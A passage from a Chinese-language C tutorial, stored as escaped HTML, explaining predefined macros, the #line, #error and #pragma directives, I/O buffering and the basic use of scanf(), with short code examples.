标准。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__STDC_HOSTED__\u003c/code\u003e:如果被设为1,表示当前编译器可以提供完整的标准库;否则被设为0(嵌入式系统的标准库常常是不完整的)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__STDC_VERSION__\u003c/code\u003e:编译所使用的 C 语言版本,是一个格式为\u003ccode\u003eyyyymmL\u003c/code\u003e的长整数,C99 版本为“199901L”,C11 版本为“201112L”,C17 版本为“201710L”。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面示例打印这些预定义宏的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;This function: %s\\n\u0026#34;\u003c/span\u003e, __func__);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;This file: %s\\n\u0026#34;\u003c/span\u003e, __FILE__);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;This line: %d\\n\u0026#34;\u003c/span\u003e, __LINE__);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Compiled on: %s %s\\n\u0026#34;\u003c/span\u003e, __DATE__, __TIME__);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;C Version: %ld\\n\u0026#34;\u003c/span\u003e, __STDC_VERSION__);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 输出如下\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eThis function: main\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eThis file: test.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eThis line: 7\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eCompiled on: Mar 29 2021 19:19:37\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eC Version: 201710\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"line\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#line\" class=\"headerlink\" title=\"#line\"\u003e\u003c/a\u003e#line\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#line\u003c/code\u003e指令用于覆盖预定义宏\u003ccode\u003e__LINE__\u003c/code\u003e,将其改为自定义的行号。后面的行将从\u003ccode\u003e__LINE__\u003c/code\u003e的新值开始计数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 将下一行的行号重置为 300\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eline\u003c/span\u003e 300\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,紧跟在\u003ccode\u003e#line 300\u003c/code\u003e后面一行的行号,将被改成300,其后的行会在300的基础上递增编号。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#line\u003c/code\u003e还可以改掉预定义宏\u003ccode\u003e__FILE__\u003c/code\u003e,将其改为自定义的文件名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eline\u003c/span\u003e 300 \u003cspan class=\"string\"\u003e\u0026#34;newfilename\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,下一行的行号重置为\u003ccode\u003e300\u003c/code\u003e,文件名重置为\u003ccode\u003enewfilename\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"error\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#error\" class=\"headerlink\" title=\"#error\"\u003e\u003c/a\u003e#error\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#error\u003c/code\u003e指令用于让预处理器抛出一个错误,终止编译。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e __STDC_VERSION__ != 201112L\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eerror\u003c/span\u003e Not C11\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例指定,如果编译器不使用 C11 标准,就中止编译。GCC 编译器会像下面这样报错。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -std=c99 newish.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enewish.c:14:2: error: \u003cspan class=\"comment\"\u003e#error Not C11\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,GCC 使用 C99 标准编译,就报错了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e INT_MAX \u0026lt; 100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eerror\u003c/span\u003e int type is too small\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,编译器一旦发现\u003ccode\u003eINT\u003c/code\u003e类型的最大值小于\u003ccode\u003e100,000\u003c/code\u003e,就会停止编译。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#error\u003c/code\u003e指令也可以用在\u003ccode\u003e#if...#elif...#else\u003c/code\u003e的部分。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e defined WIN32\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e defined MAC_OS\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e defined LINUX\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eerror\u003c/span\u003e NOT support the operating system\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"pragma\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#pragma\" class=\"headerlink\" title=\"#pragma\"\u003e\u003c/a\u003e#pragma\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#pragma\u003c/code\u003e指令用来修改编译器属性。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 使用 C99 标准\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003epragma\u003c/span\u003e c9x on\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例让编译器以 C99 标准进行编译。\u003c/p\u003e\u003ch2 id=\"I-x2F-O-函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#I-x2F-O-%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"I/O 函数\"\u003e\u003c/a\u003eI/O 函数\u003c/h2\u003e\u003cp\u003eC 语言提供了一些函数,用于与外部设备通信,称为输入输出函数,简称 I/O 函数。输入(import)指的是获取外部数据,输出(export)指的是向外部传递数据。\u003c/p\u003e\u003ch3 id=\"缓存和字节流\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%BC%93%E5%AD%98%E5%92%8C%E5%AD%97%E8%8A%82%E6%B5%81\" class=\"headerlink\" title=\"缓存和字节流\"\u003e\u003c/a\u003e缓存和字节流\u003c/h3\u003e\u003cp\u003e严格地说,输入输出函数并不是直接与外部设备通信,而是通过缓存(buffer)进行间接通信。这个小节介绍缓存是什么。\u003c/p\u003e\u003cp\u003e普通文件一般都保存在磁盘上面,跟 CPU 相比,磁盘读取或写入数据是一个很慢的操作。所以,程序直接读写磁盘是不可行的,可能每执行一行命令,都必须等半天。C 语言的解决方案,就是只要打开一个文件,就在内存里面为这个文件设置一个缓存区。\u003c/p\u003e\u003cp\u003e程序向文件写入数据时,程序先把数据放入缓存,等到缓存满了,再把里面的数据会一次性写入磁盘文件。这时,缓存区就空了,程序再把新的数据放入缓存,重复整个过程。\u003c/p\u003e\u003cp\u003e程序从文件读取数据时,文件先把一部分数据放到缓存里面,然后程序从缓存获取数据,等到缓存空了,磁盘文件再把新的数据放入缓存,重复整个过程。\u003c/p\u003e\u003cp\u003e内存的读写速度比磁盘快得多,缓存的设计减少了读写磁盘的次数,大大提高了程序的执行效率。另外,一次性移动大块数据,要比多次移动小块数据快得多。\u003c/p\u003e\u003cp\u003e这种读写模式,对于程序来说,就有点像水流(stream),不是一次性读取或写入所有数据,而是一个持续不断的过程。先操作一部分数据,等到缓存吞吐完这部分数据,再操作下一部分数据。这个过程就叫做字节流操作。\u003c/p\u003e\u003cp\u003e由于缓存读完就空了,所以字节流读取都是只能读一次,第二次就读不到了。这跟读取文件很不一样。\u003c/p\u003e\u003cp\u003eC 语言的输入输出函数,凡是涉及读写文件,都是属于字节流操作。输入函数从文件获取数据,操作的是输入流;输出函数向文件写入数据,操作的是输出流。\u003c/p\u003e\u003ch3 id=\"printf-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#printf-1\" class=\"headerlink\" title=\"printf()\"\u003e\u003c/a\u003eprintf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e是最常用的输出函数,用于屏幕输出,原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e,详见《基本语法》一章。\u003c/p\u003e\u003ch3 id=\"scanf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#scanf\" class=\"headerlink\" title=\"scanf()\"\u003e\u003c/a\u003escanf()\u003c/h3\u003e\u003ch4 id=\"基本用法-2\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95-2\" class=\"headerlink\" title=\"基本用法\"\u003e\u003c/a\u003e基本用法\u003c/h4\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e函数用于读取用户的键盘输入。程序运行到这个语句时,会停下来,等待用户从键盘输入。用户输入数据、按下回车键后,\u003ccode\u003escanf()\u003c/code\u003e就会处理用户的输入,将其存入变量。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e的语法跟\u003ccode\u003eprintf()\u003c/code\u003e类似。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;i);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的第一个参数是一个格式字符串,里面会放置占位符(与\u003ccode\u003eprintf()\u003c/code\u003e的占位符基本一致),告诉编译器如何解读用户的输入,需要提取的数据是什么类型。这是因为 C 语言的数据都是有类型的,\u003ccode\u003escanf()\u003c/code\u003e必须提前知道用户输入的数据类型,才能处理数据。它的其余参数就是存放用户输入的变量,格式字符串里面有多少个占位符,就有多少个变量。\u003c/p\u003e\u003cp\u003e上面示例中,\u003ccode\u003escanf()\u003c/code\u003e的第一个参数\u003ccode\u003e%d\u003c/code\u003e,表示用户输入的应该是一个整数。\u003ccode\u003e%d\u003c/code\u003e就是一个占位符,\u003ccode\u003e%\u003c/code\u003e是占位符的标志,\u003ccode\u003ed\u003c/code\u003e表示整数。第二个参数\u003ccode\u003e\u0026amp;i\u003c/code\u003e表示,将用户从键盘输入的整数存入变量\u003ccode\u003ei\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,变量前面必须加上\u003ccode\u003e\u0026amp;\u003c/code\u003e运算符(指针变量除外),因为\u003ccode\u003escanf()\u003c/code\u003e传递的不是值,而是地址,即将变量\u003ccode\u003ei\u003c/code\u003e的地址指向用户输入的值。如果这里的变量是指针变量(比如字符串变量),那就不用加\u003ccode\u003e\u0026amp;\u003c/code\u003e运算符。\u003c/p\u003e\u003cp\u003e下面是一次将键盘输入读入多个变量的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d%d%f%f\u0026#34;\u003c/span\u003e, \u0026amp;i, \u0026amp;j, \u0026amp;x, \u0026amp;y);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,格式字符串\u003ccode\u003e%d%d%f%f\u003c/code\u003e,表示用户输入的前两个是整数,后两个是浮点数,比如\u003ccode\u003e1 -20 3.4 -4.0e3\u003c/code\u003e。这四个值依次放入\u003ccode\u003ei\u003c/code\u003e、\u003ccode\u003ej\u003c/code\u003e、\u003ccode\u003ex\u003c/code\u003e、\u003ccode\u003ey\u003c/code\u003e四个变量。\u003c/p\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e处理数值占位符时,会自动过滤空白字符,包括空格、制表符、换行符等。所以,用户输入的数据之间,有一个或多个空格不影响\u003ccode\u003escanf()\u003c/code\u003e解读数据。另外,用户使用回车键,将输入分成几行,也不影响解读。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e-20\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3.4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e-4.0e3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,用户分成四行输入,得到的结果与一行输入是完全一样的。每次按下回车键以后,\u003ccode\u003escanf()\u003c/code\u003e就会开始解读,如果第一行匹配第一个占位符,那么下次按下回车键时,就会从第二个占位符开始解读。\u003c/p\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e处理用户输入的原理是,用户的输入先放入缓存,等到按下回车键后,按照占位符对缓存进行解读。解读用户输入时,会从上一次解读遗留的第一个字符开始,直到读完缓存,或者遇到第一个不符合条件的字符为止。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 用户输入 \u0026#34; -13.45e12## 